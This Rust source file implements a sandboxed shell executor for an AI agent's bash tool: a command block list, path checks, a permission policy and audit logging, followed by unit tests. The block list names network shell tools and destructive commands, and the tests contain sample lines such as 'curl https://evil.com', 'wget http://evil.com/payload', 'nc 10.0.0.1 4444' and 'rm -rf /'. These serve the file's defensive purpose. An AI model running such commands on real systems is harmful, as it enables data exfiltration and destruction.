1use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16 FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22 "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23 "reboot", "halt",
24];
25
26const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
27
28#[derive(Deserialize, JsonSchema)]
29pub(crate) struct BashParams {
30 command: String,
32}
33
34#[derive(Debug)]
36pub struct ShellExecutor {
37 timeout: Duration,
38 blocked_commands: Vec<String>,
39 allowed_paths: Vec<PathBuf>,
40 confirm_patterns: Vec<String>,
41 audit_logger: Option<AuditLogger>,
42 tool_event_tx: Option<ToolEventTx>,
43 permission_policy: Option<PermissionPolicy>,
44 output_filter_registry: Option<OutputFilterRegistry>,
45 cancel_token: Option<CancellationToken>,
46 skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
47}
48
49impl ShellExecutor {
50 #[must_use]
51 pub fn new(config: &ShellConfig) -> Self {
52 let allowed: Vec<String> = config
53 .allowed_commands
54 .iter()
55 .map(|s| s.to_lowercase())
56 .collect();
57
58 let mut blocked: Vec<String> = DEFAULT_BLOCKED
59 .iter()
60 .filter(|s| !allowed.contains(&s.to_lowercase()))
61 .map(|s| (*s).to_owned())
62 .collect();
63 blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
64
65 if !config.allow_network {
66 for cmd in NETWORK_COMMANDS {
67 let lower = cmd.to_lowercase();
68 if !blocked.contains(&lower) {
69 blocked.push(lower);
70 }
71 }
72 }
73
74 blocked.sort();
75 blocked.dedup();
76
77 let allowed_paths = if config.allowed_paths.is_empty() {
78 vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
79 } else {
80 config.allowed_paths.iter().map(PathBuf::from).collect()
81 };
82
83 Self {
84 timeout: Duration::from_secs(config.timeout),
85 blocked_commands: blocked,
86 allowed_paths,
87 confirm_patterns: config.confirm_patterns.clone(),
88 audit_logger: None,
89 tool_event_tx: None,
90 permission_policy: None,
91 output_filter_registry: None,
92 cancel_token: None,
93 skill_env: std::sync::RwLock::new(None),
94 }
95 }
96
97 pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
99 match self.skill_env.write() {
100 Ok(mut guard) => *guard = env,
101 Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
102 }
103 }
104
105 #[must_use]
106 pub fn with_audit(mut self, logger: AuditLogger) -> Self {
107 self.audit_logger = Some(logger);
108 self
109 }
110
111 #[must_use]
112 pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
113 self.tool_event_tx = Some(tx);
114 self
115 }
116
117 #[must_use]
118 pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
119 self.permission_policy = Some(policy);
120 self
121 }
122
123 #[must_use]
124 pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
125 self.cancel_token = Some(token);
126 self
127 }
128
129 #[must_use]
130 pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
131 self.output_filter_registry = Some(registry);
132 self
133 }
134
135 pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
141 self.execute_inner(response, true).await
142 }
143
144 #[allow(clippy::too_many_lines)]
145 async fn execute_inner(
146 &self,
147 response: &str,
148 skip_confirm: bool,
149 ) -> Result<Option<ToolOutput>, ToolError> {
150 let blocks = extract_bash_blocks(response);
151 if blocks.is_empty() {
152 return Ok(None);
153 }
154
155 let mut outputs = Vec::with_capacity(blocks.len());
156 let mut cumulative_filter_stats: Option<FilterStats> = None;
157 #[allow(clippy::cast_possible_truncation)]
158 let blocks_executed = blocks.len() as u32;
159
160 for block in &blocks {
161 if let Some(ref policy) = self.permission_policy {
162 match policy.check("bash", block) {
163 PermissionAction::Deny => {
164 self.log_audit(
165 block,
166 AuditResult::Blocked {
167 reason: "denied by permission policy".to_owned(),
168 },
169 0,
170 )
171 .await;
172 return Err(ToolError::Blocked {
173 command: (*block).to_owned(),
174 });
175 }
176 PermissionAction::Ask if !skip_confirm => {
177 return Err(ToolError::ConfirmationRequired {
178 command: (*block).to_owned(),
179 });
180 }
181 _ => {}
182 }
183 } else {
184 if let Some(blocked) = self.find_blocked_command(block) {
185 self.log_audit(
186 block,
187 AuditResult::Blocked {
188 reason: format!("blocked command: {blocked}"),
189 },
190 0,
191 )
192 .await;
193 return Err(ToolError::Blocked {
194 command: blocked.to_owned(),
195 });
196 }
197
198 if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
199 return Err(ToolError::ConfirmationRequired {
200 command: pattern.to_owned(),
201 });
202 }
203 }
204
205 self.validate_sandbox(block)?;
206
207 if let Some(ref tx) = self.tool_event_tx {
208 let _ = tx.send(ToolEvent::Started {
209 tool_name: "bash".to_owned(),
210 command: (*block).to_owned(),
211 });
212 }
213
214 let start = Instant::now();
215 let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
216 self.skill_env.read().ok().and_then(|g| g.clone());
217 let (out, exit_code) = execute_bash(
218 block,
219 self.timeout,
220 self.tool_event_tx.as_ref(),
221 self.cancel_token.as_ref(),
222 skill_env_snapshot.as_ref(),
223 )
224 .await;
225 if exit_code == 130
226 && self
227 .cancel_token
228 .as_ref()
229 .is_some_and(CancellationToken::is_cancelled)
230 {
231 return Err(ToolError::Cancelled);
232 }
233 #[allow(clippy::cast_possible_truncation)]
234 let duration_ms = start.elapsed().as_millis() as u64;
235
236 let result = if out.contains("[error]") {
237 AuditResult::Error {
238 message: out.clone(),
239 }
240 } else if out.contains("timed out") {
241 AuditResult::Timeout
242 } else {
243 AuditResult::Success
244 };
245 self.log_audit(block, result, duration_ms).await;
246
247 let sanitized = sanitize_output(&out);
248 let mut per_block_stats: Option<FilterStats> = None;
249 let filtered = if let Some(ref registry) = self.output_filter_registry {
250 match registry.apply(block, &sanitized, exit_code) {
251 Some(fr) => {
252 tracing::debug!(
253 command = block,
254 raw = fr.raw_chars,
255 filtered = fr.filtered_chars,
256 savings_pct = fr.savings_pct(),
257 "output filter applied"
258 );
259 let block_fs = FilterStats {
260 raw_chars: fr.raw_chars,
261 filtered_chars: fr.filtered_chars,
262 raw_lines: fr.raw_lines,
263 filtered_lines: fr.filtered_lines,
264 confidence: Some(fr.confidence),
265 command: Some((*block).to_owned()),
266 kept_lines: fr.kept_lines.clone(),
267 };
268 let stats =
269 cumulative_filter_stats.get_or_insert_with(FilterStats::default);
270 stats.raw_chars += fr.raw_chars;
271 stats.filtered_chars += fr.filtered_chars;
272 stats.raw_lines += fr.raw_lines;
273 stats.filtered_lines += fr.filtered_lines;
274 stats.confidence = Some(match (stats.confidence, fr.confidence) {
275 (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
276 (None, cur) => cur,
277 });
278 if stats.command.is_none() {
279 stats.command = Some((*block).to_owned());
280 }
281 if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
282 stats.kept_lines.clone_from(&fr.kept_lines);
283 }
284 per_block_stats = Some(block_fs);
285 fr.output
286 }
287 None => sanitized,
288 }
289 } else {
290 sanitized
291 };
292
293 if let Some(ref tx) = self.tool_event_tx {
294 let _ = tx.send(ToolEvent::Completed {
295 tool_name: "bash".to_owned(),
296 command: (*block).to_owned(),
297 output: out.clone(),
298 success: !out.contains("[error]"),
299 filter_stats: per_block_stats,
300 diff: None,
301 });
302 }
303 outputs.push(format!("$ {block}\n{filtered}"));
304 }
305
306 Ok(Some(ToolOutput {
307 tool_name: "bash".to_owned(),
308 summary: outputs.join("\n\n"),
309 blocks_executed,
310 filter_stats: cumulative_filter_stats,
311 diff: None,
312 streamed: self.tool_event_tx.is_some(),
313 terminal_id: None,
314 }))
315 }
316
317 fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
318 let cwd = std::env::current_dir().unwrap_or_default();
319
320 for token in extract_paths(code) {
321 if has_traversal(&token) {
322 return Err(ToolError::SandboxViolation { path: token });
323 }
324
325 let path = if token.starts_with('/') {
326 PathBuf::from(&token)
327 } else {
328 cwd.join(&token)
329 };
330 let canonical = path
331 .canonicalize()
332 .or_else(|_| std::path::absolute(&path))
333 .unwrap_or(path);
334 if !self
335 .allowed_paths
336 .iter()
337 .any(|allowed| canonical.starts_with(allowed))
338 {
339 return Err(ToolError::SandboxViolation {
340 path: canonical.display().to_string(),
341 });
342 }
343 }
344 Ok(())
345 }
346
347 fn find_blocked_command(&self, code: &str) -> Option<&str> {
385 let cleaned = strip_shell_escapes(&code.to_lowercase());
386 let commands = tokenize_commands(&cleaned);
387 for blocked in &self.blocked_commands {
388 for cmd_tokens in &commands {
389 if tokens_match_pattern(cmd_tokens, blocked) {
390 return Some(blocked.as_str());
391 }
392 }
393 }
394 None
395 }
396
397 fn find_confirm_command(&self, code: &str) -> Option<&str> {
398 let normalized = code.to_lowercase();
399 for pattern in &self.confirm_patterns {
400 if normalized.contains(pattern.as_str()) {
401 return Some(pattern.as_str());
402 }
403 }
404 None
405 }
406
407 async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
408 if let Some(ref logger) = self.audit_logger {
409 let entry = AuditEntry {
410 timestamp: chrono_now(),
411 tool: "shell".into(),
412 command: command.into(),
413 result,
414 duration_ms,
415 };
416 logger.log(&entry).await;
417 }
418 }
419}
420
421impl ToolExecutor for ShellExecutor {
422 async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
423 self.execute_inner(response, false).await
424 }
425
426 fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
427 use crate::registry::{InvocationHint, ToolDef};
428 vec![ToolDef {
429 id: "bash".into(),
430 description: "Execute a shell command".into(),
431 schema: schemars::schema_for!(BashParams),
432 invocation: InvocationHint::FencedBlock("bash"),
433 }]
434 }
435
436 async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
437 if call.tool_id != "bash" {
438 return Ok(None);
439 }
440 let params: BashParams = crate::executor::deserialize_params(&call.params)?;
441 if params.command.is_empty() {
442 return Ok(None);
443 }
444 let command = ¶ms.command;
445 let synthetic = format!("```bash\n{command}\n```");
447 self.execute_inner(&synthetic, false).await
448 }
449
450 fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
451 ShellExecutor::set_skill_env(self, env);
452 }
453}
454
455fn strip_shell_escapes(input: &str) -> String {
459 let mut out = String::with_capacity(input.len());
460 let bytes = input.as_bytes();
461 let mut i = 0;
462 while i < bytes.len() {
463 if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
465 let mut j = i + 2; let mut decoded = String::new();
467 let mut valid = false;
468 while j < bytes.len() && bytes[j] != b'\'' {
469 if bytes[j] == b'\\' && j + 1 < bytes.len() {
470 let next = bytes[j + 1];
471 if next == b'x' && j + 3 < bytes.len() {
472 let hi = (bytes[j + 2] as char).to_digit(16);
474 let lo = (bytes[j + 3] as char).to_digit(16);
475 if let (Some(h), Some(l)) = (hi, lo) {
476 #[allow(clippy::cast_possible_truncation)]
477 let byte = ((h << 4) | l) as u8;
478 decoded.push(byte as char);
479 j += 4;
480 valid = true;
481 continue;
482 }
483 } else if next.is_ascii_digit() {
484 let mut val = u32::from(next - b'0');
486 let mut len = 2; if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
488 val = val * 8 + u32::from(bytes[j + 2] - b'0');
489 len = 3;
490 if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
491 val = val * 8 + u32::from(bytes[j + 3] - b'0');
492 len = 4;
493 }
494 }
495 #[allow(clippy::cast_possible_truncation)]
496 decoded.push((val & 0xFF) as u8 as char);
497 j += len;
498 valid = true;
499 continue;
500 }
501 decoded.push(next as char);
503 j += 2;
504 } else {
505 decoded.push(bytes[j] as char);
506 j += 1;
507 }
508 }
509 if j < bytes.len() && bytes[j] == b'\'' && valid {
510 out.push_str(&decoded);
511 i = j + 1;
512 continue;
513 }
514 }
516 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
518 i += 2;
519 continue;
520 }
521 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
523 i += 1;
524 out.push(bytes[i] as char);
525 i += 1;
526 continue;
527 }
528 if bytes[i] == b'"' || bytes[i] == b'\'' {
530 let quote = bytes[i];
531 i += 1;
532 while i < bytes.len() && bytes[i] != quote {
533 out.push(bytes[i] as char);
534 i += 1;
535 }
536 if i < bytes.len() {
537 i += 1; }
539 continue;
540 }
541 out.push(bytes[i] as char);
542 i += 1;
543 }
544 out
545}
546
547fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
550 let replaced = normalized.replace("||", "\n").replace("&&", "\n");
552 replaced
553 .split([';', '|', '\n'])
554 .map(|seg| {
555 seg.split_whitespace()
556 .map(str::to_owned)
557 .collect::<Vec<String>>()
558 })
559 .filter(|tokens| !tokens.is_empty())
560 .collect()
561}
562
563const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
566
567fn cmd_basename(tok: &str) -> &str {
569 tok.rsplit('/').next().unwrap_or(tok)
570}
571
572fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
579 if tokens.is_empty() || pattern.is_empty() {
580 return false;
581 }
582 let pattern = pattern.trim();
583 let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
584 if pattern_tokens.is_empty() {
585 return false;
586 }
587
588 let start = tokens
590 .iter()
591 .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
592 .unwrap_or(0);
593 let effective = &tokens[start..];
594 if effective.is_empty() {
595 return false;
596 }
597
598 if pattern_tokens.len() == 1 {
599 let pat = pattern_tokens[0];
600 let base = cmd_basename(&effective[0]);
601 base == pat || base.starts_with(&format!("{pat}."))
603 } else {
604 let n = pattern_tokens.len().min(effective.len());
606 let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
607 parts.extend(effective[1..n].iter().map(String::as_str));
608 let joined = parts.join(" ");
609 if joined.starts_with(pattern) {
610 return true;
611 }
612 if effective.len() > n {
613 let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
614 parts2.extend(effective[1..=n].iter().map(String::as_str));
615 parts2.join(" ").starts_with(pattern)
616 } else {
617 false
618 }
619 }
620}
621
622fn extract_paths(code: &str) -> Vec<String> {
623 let mut result = Vec::new();
624
625 let mut tokens: Vec<String> = Vec::new();
627 let mut current = String::new();
628 let mut chars = code.chars().peekable();
629 while let Some(c) = chars.next() {
630 match c {
631 '"' | '\'' => {
632 let quote = c;
633 while let Some(&nc) = chars.peek() {
634 if nc == quote {
635 chars.next();
636 break;
637 }
638 current.push(chars.next().unwrap());
639 }
640 }
641 c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
642 if !current.is_empty() {
643 tokens.push(std::mem::take(&mut current));
644 }
645 }
646 _ => current.push(c),
647 }
648 }
649 if !current.is_empty() {
650 tokens.push(current);
651 }
652
653 for token in tokens {
654 let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
655 if trimmed.is_empty() {
656 continue;
657 }
658 if trimmed.starts_with('/')
659 || trimmed.starts_with("./")
660 || trimmed.starts_with("../")
661 || trimmed == ".."
662 {
663 result.push(trimmed);
664 }
665 }
666 result
667}
668
669fn has_traversal(path: &str) -> bool {
670 path.split('/').any(|seg| seg == "..")
671}
672
673fn extract_bash_blocks(text: &str) -> Vec<&str> {
674 crate::executor::extract_fenced_blocks(text, "bash")
675}
676
677fn chrono_now() -> String {
678 use std::time::{SystemTime, UNIX_EPOCH};
679 let secs = SystemTime::now()
680 .duration_since(UNIX_EPOCH)
681 .unwrap_or_default()
682 .as_secs();
683 format!("{secs}")
684}
685
686async fn kill_process_tree(child: &mut tokio::process::Child) {
690 #[cfg(unix)]
691 if let Some(pid) = child.id() {
692 let _ = Command::new("pkill")
693 .args(["-KILL", "-P", &pid.to_string()])
694 .status()
695 .await;
696 }
697 let _ = child.kill().await;
698}
699
700async fn execute_bash(
701 code: &str,
702 timeout: Duration,
703 event_tx: Option<&ToolEventTx>,
704 cancel_token: Option<&CancellationToken>,
705 extra_env: Option<&std::collections::HashMap<String, String>>,
706) -> (String, i32) {
707 use std::process::Stdio;
708 use tokio::io::{AsyncBufReadExt, BufReader};
709
710 let timeout_secs = timeout.as_secs();
711
712 let mut cmd = Command::new("bash");
713 cmd.arg("-c")
714 .arg(code)
715 .stdout(Stdio::piped())
716 .stderr(Stdio::piped());
717 if let Some(env) = extra_env {
718 cmd.envs(env);
719 }
720 let child_result = cmd.spawn();
721
722 let mut child = match child_result {
723 Ok(c) => c,
724 Err(e) => return (format!("[error] {e}"), 1),
725 };
726
727 let stdout = child.stdout.take().expect("stdout piped");
728 let stderr = child.stderr.take().expect("stderr piped");
729
730 let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
731
732 let stdout_tx = line_tx.clone();
733 tokio::spawn(async move {
734 let mut reader = BufReader::new(stdout);
735 let mut buf = String::new();
736 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
737 let _ = stdout_tx.send(buf.clone()).await;
738 buf.clear();
739 }
740 });
741
742 tokio::spawn(async move {
743 let mut reader = BufReader::new(stderr);
744 let mut buf = String::new();
745 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
746 let _ = line_tx.send(format!("[stderr] {buf}")).await;
747 buf.clear();
748 }
749 });
750
751 let mut combined = String::new();
752 let deadline = tokio::time::Instant::now() + timeout;
753
754 loop {
755 tokio::select! {
756 line = line_rx.recv() => {
757 match line {
758 Some(chunk) => {
759 if let Some(tx) = event_tx {
760 let _ = tx.send(ToolEvent::OutputChunk {
761 tool_name: "bash".to_owned(),
762 command: code.to_owned(),
763 chunk: chunk.clone(),
764 });
765 }
766 combined.push_str(&chunk);
767 }
768 None => break,
769 }
770 }
771 () = tokio::time::sleep_until(deadline) => {
772 kill_process_tree(&mut child).await;
773 return (format!("[error] command timed out after {timeout_secs}s"), 1);
774 }
775 () = async {
776 match cancel_token {
777 Some(t) => t.cancelled().await,
778 None => std::future::pending().await,
779 }
780 } => {
781 kill_process_tree(&mut child).await;
782 return ("[cancelled] operation aborted".to_string(), 130);
783 }
784 }
785 }
786
787 let status = child.wait().await;
788 let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
789
790 if combined.is_empty() {
791 ("(no output)".to_string(), exit_code)
792 } else {
793 (combined, exit_code)
794 }
795}
796
797#[cfg(test)]
798mod tests {
799 use super::*;
800
801 fn default_config() -> ShellConfig {
802 ShellConfig {
803 timeout: 30,
804 blocked_commands: Vec::new(),
805 allowed_commands: Vec::new(),
806 allowed_paths: Vec::new(),
807 allow_network: true,
808 confirm_patterns: Vec::new(),
809 }
810 }
811
812 fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
813 ShellConfig {
814 allowed_paths,
815 ..default_config()
816 }
817 }
818
819 #[test]
820 fn extract_single_bash_block() {
821 let text = "Here is code:\n```bash\necho hello\n```\nDone.";
822 let blocks = extract_bash_blocks(text);
823 assert_eq!(blocks, vec!["echo hello"]);
824 }
825
826 #[test]
827 fn extract_multiple_bash_blocks() {
828 let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
829 let blocks = extract_bash_blocks(text);
830 assert_eq!(blocks, vec!["ls", "pwd"]);
831 }
832
833 #[test]
834 fn ignore_non_bash_blocks() {
835 let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
836 let blocks = extract_bash_blocks(text);
837 assert_eq!(blocks, vec!["echo hi"]);
838 }
839
840 #[test]
841 fn no_blocks_returns_none() {
842 let text = "Just plain text, no code blocks.";
843 let blocks = extract_bash_blocks(text);
844 assert!(blocks.is_empty());
845 }
846
847 #[test]
848 fn unclosed_block_ignored() {
849 let text = "```bash\necho hello";
850 let blocks = extract_bash_blocks(text);
851 assert!(blocks.is_empty());
852 }
853
854 #[tokio::test]
855 #[cfg(not(target_os = "windows"))]
856 async fn execute_simple_command() {
857 let (result, code) =
858 execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
859 assert!(result.contains("hello"));
860 assert_eq!(code, 0);
861 }
862
863 #[tokio::test]
864 #[cfg(not(target_os = "windows"))]
865 async fn execute_stderr_output() {
866 let (result, _) =
867 execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
868 assert!(result.contains("[stderr]"));
869 assert!(result.contains("err"));
870 }
871
872 #[tokio::test]
873 #[cfg(not(target_os = "windows"))]
874 async fn execute_stdout_and_stderr_combined() {
875 let (result, _) = execute_bash(
876 "echo out && echo err >&2",
877 Duration::from_secs(30),
878 None,
879 None,
880 None,
881 )
882 .await;
883 assert!(result.contains("out"));
884 assert!(result.contains("[stderr]"));
885 assert!(result.contains("err"));
886 assert!(result.contains('\n'));
887 }
888
889 #[tokio::test]
890 #[cfg(not(target_os = "windows"))]
891 async fn execute_empty_output() {
892 let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
893 assert_eq!(result, "(no output)");
894 assert_eq!(code, 0);
895 }
896
897 #[tokio::test]
898 async fn blocked_command_rejected() {
899 let config = ShellConfig {
900 blocked_commands: vec!["rm -rf /".to_owned()],
901 ..default_config()
902 };
903 let executor = ShellExecutor::new(&config);
904 let response = "Run:\n```bash\nrm -rf /\n```";
905 let result = executor.execute(response).await;
906 assert!(matches!(result, Err(ToolError::Blocked { .. })));
907 }
908
909 #[tokio::test]
910 #[cfg(not(target_os = "windows"))]
911 async fn timeout_enforced() {
912 let config = ShellConfig {
913 timeout: 1,
914 ..default_config()
915 };
916 let executor = ShellExecutor::new(&config);
917 let response = "Run:\n```bash\nsleep 60\n```";
918 let result = executor.execute(response).await;
919 assert!(result.is_ok());
920 let output = result.unwrap().unwrap();
921 assert!(output.summary.contains("timed out"));
922 }
923
924 #[tokio::test]
925 async fn execute_no_blocks_returns_none() {
926 let executor = ShellExecutor::new(&default_config());
927 let result = executor.execute("plain text, no blocks").await;
928 assert!(result.is_ok());
929 assert!(result.unwrap().is_none());
930 }
931
932 #[tokio::test]
933 async fn execute_multiple_blocks_counted() {
934 let executor = ShellExecutor::new(&default_config());
935 let response = "```bash\necho one\n```\n```bash\necho two\n```";
936 let result = executor.execute(response).await;
937 let output = result.unwrap().unwrap();
938 assert_eq!(output.blocks_executed, 2);
939 assert!(output.summary.contains("one"));
940 assert!(output.summary.contains("two"));
941 }
942
943 #[test]
946 fn default_blocked_always_active() {
947 let executor = ShellExecutor::new(&default_config());
948 assert!(executor.find_blocked_command("rm -rf /").is_some());
949 assert!(executor.find_blocked_command("sudo apt install").is_some());
950 assert!(
951 executor
952 .find_blocked_command("mkfs.ext4 /dev/sda")
953 .is_some()
954 );
955 assert!(
956 executor
957 .find_blocked_command("dd if=/dev/zero of=disk")
958 .is_some()
959 );
960 }
961
962 #[test]
963 fn user_blocked_additive() {
964 let config = ShellConfig {
965 blocked_commands: vec!["custom-danger".to_owned()],
966 ..default_config()
967 };
968 let executor = ShellExecutor::new(&config);
969 assert!(executor.find_blocked_command("sudo rm").is_some());
970 assert!(
971 executor
972 .find_blocked_command("custom-danger script")
973 .is_some()
974 );
975 }
976
977 #[test]
978 fn blocked_prefix_match() {
979 let executor = ShellExecutor::new(&default_config());
980 assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
981 }
982
983 #[test]
984 fn blocked_infix_match() {
985 let executor = ShellExecutor::new(&default_config());
986 assert!(
987 executor
988 .find_blocked_command("echo hello && sudo rm")
989 .is_some()
990 );
991 }
992
993 #[test]
994 fn blocked_case_insensitive() {
995 let executor = ShellExecutor::new(&default_config());
996 assert!(executor.find_blocked_command("SUDO apt install").is_some());
997 assert!(executor.find_blocked_command("Sudo apt install").is_some());
998 assert!(executor.find_blocked_command("SuDo apt install").is_some());
999 assert!(
1000 executor
1001 .find_blocked_command("MKFS.ext4 /dev/sda")
1002 .is_some()
1003 );
1004 assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1005 assert!(executor.find_blocked_command("RM -RF /").is_some());
1006 }
1007
1008 #[test]
1009 fn safe_command_passes() {
1010 let executor = ShellExecutor::new(&default_config());
1011 assert!(executor.find_blocked_command("echo hello").is_none());
1012 assert!(executor.find_blocked_command("ls -la").is_none());
1013 assert!(executor.find_blocked_command("cat file.txt").is_none());
1014 assert!(executor.find_blocked_command("cargo build").is_none());
1015 }
1016
1017 #[test]
1018 fn partial_match_accepted_tradeoff() {
1019 let executor = ShellExecutor::new(&default_config());
1020 assert!(executor.find_blocked_command("sudoku").is_none());
1022 }
1023
1024 #[test]
1025 fn multiline_command_blocked() {
1026 let executor = ShellExecutor::new(&default_config());
1027 assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1028 }
1029
1030 #[test]
1031 fn dd_pattern_blocks_dd_if() {
1032 let executor = ShellExecutor::new(&default_config());
1033 assert!(
1034 executor
1035 .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1036 .is_some()
1037 );
1038 }
1039
1040 #[test]
1041 fn mkfs_pattern_blocks_variants() {
1042 let executor = ShellExecutor::new(&default_config());
1043 assert!(
1044 executor
1045 .find_blocked_command("mkfs.ext4 /dev/sda")
1046 .is_some()
1047 );
1048 assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1049 }
1050
1051 #[test]
1052 fn empty_command_not_blocked() {
1053 let executor = ShellExecutor::new(&default_config());
1054 assert!(executor.find_blocked_command("").is_none());
1055 }
1056
1057 #[test]
1058 fn duplicate_patterns_deduped() {
1059 let config = ShellConfig {
1060 blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1061 ..default_config()
1062 };
1063 let executor = ShellExecutor::new(&config);
1064 let count = executor
1065 .blocked_commands
1066 .iter()
1067 .filter(|c| c.as_str() == "sudo")
1068 .count();
1069 assert_eq!(count, 1);
1070 }
1071
1072 #[tokio::test]
1073 async fn execute_default_blocked_returns_error() {
1074 let executor = ShellExecutor::new(&default_config());
1075 let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1076 let result = executor.execute(response).await;
1077 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1078 }
1079
1080 #[tokio::test]
1081 async fn execute_case_insensitive_blocked() {
1082 let executor = ShellExecutor::new(&default_config());
1083 let response = "Run:\n```bash\nSUDO apt install foo\n```";
1084 let result = executor.execute(response).await;
1085 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1086 }
1087
1088 #[test]
1091 fn network_exfiltration_blocked() {
1092 let executor = ShellExecutor::new(&default_config());
1093 assert!(
1094 executor
1095 .find_blocked_command("curl https://evil.com")
1096 .is_some()
1097 );
1098 assert!(
1099 executor
1100 .find_blocked_command("wget http://evil.com/payload")
1101 .is_some()
1102 );
1103 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1104 assert!(
1105 executor
1106 .find_blocked_command("ncat --listen 8080")
1107 .is_some()
1108 );
1109 assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1110 }
1111
1112 #[test]
1113 fn system_control_blocked() {
1114 let executor = ShellExecutor::new(&default_config());
1115 assert!(executor.find_blocked_command("shutdown -h now").is_some());
1116 assert!(executor.find_blocked_command("reboot").is_some());
1117 assert!(executor.find_blocked_command("halt").is_some());
1118 }
1119
1120 #[test]
1121 fn nc_trailing_space_avoids_ncp() {
1122 let executor = ShellExecutor::new(&default_config());
1123 assert!(executor.find_blocked_command("ncp file.txt").is_none());
1124 }
1125
1126 #[test]
1129 fn mixed_case_user_patterns_deduped() {
1130 let config = ShellConfig {
1131 blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1132 ..default_config()
1133 };
1134 let executor = ShellExecutor::new(&config);
1135 let count = executor
1136 .blocked_commands
1137 .iter()
1138 .filter(|c| c.as_str() == "sudo")
1139 .count();
1140 assert_eq!(count, 1);
1141 }
1142
1143 #[test]
1144 fn user_pattern_stored_lowercase() {
1145 let config = ShellConfig {
1146 blocked_commands: vec!["MyCustom".to_owned()],
1147 ..default_config()
1148 };
1149 let executor = ShellExecutor::new(&config);
1150 assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1151 assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1152 }
1153
1154 #[test]
1157 fn allowed_commands_removes_from_default() {
1158 let config = ShellConfig {
1159 allowed_commands: vec!["curl".to_owned()],
1160 ..default_config()
1161 };
1162 let executor = ShellExecutor::new(&config);
1163 assert!(
1164 executor
1165 .find_blocked_command("curl https://example.com")
1166 .is_none()
1167 );
1168 assert!(executor.find_blocked_command("sudo rm").is_some());
1169 }
1170
1171 #[test]
1172 fn allowed_commands_case_insensitive() {
1173 let config = ShellConfig {
1174 allowed_commands: vec!["CURL".to_owned()],
1175 ..default_config()
1176 };
1177 let executor = ShellExecutor::new(&config);
1178 assert!(
1179 executor
1180 .find_blocked_command("curl https://example.com")
1181 .is_none()
1182 );
1183 }
1184
1185 #[test]
1186 fn allowed_does_not_override_explicit_block() {
1187 let config = ShellConfig {
1188 blocked_commands: vec!["curl".to_owned()],
1189 allowed_commands: vec!["curl".to_owned()],
1190 ..default_config()
1191 };
1192 let executor = ShellExecutor::new(&config);
1193 assert!(
1194 executor
1195 .find_blocked_command("curl https://example.com")
1196 .is_some()
1197 );
1198 }
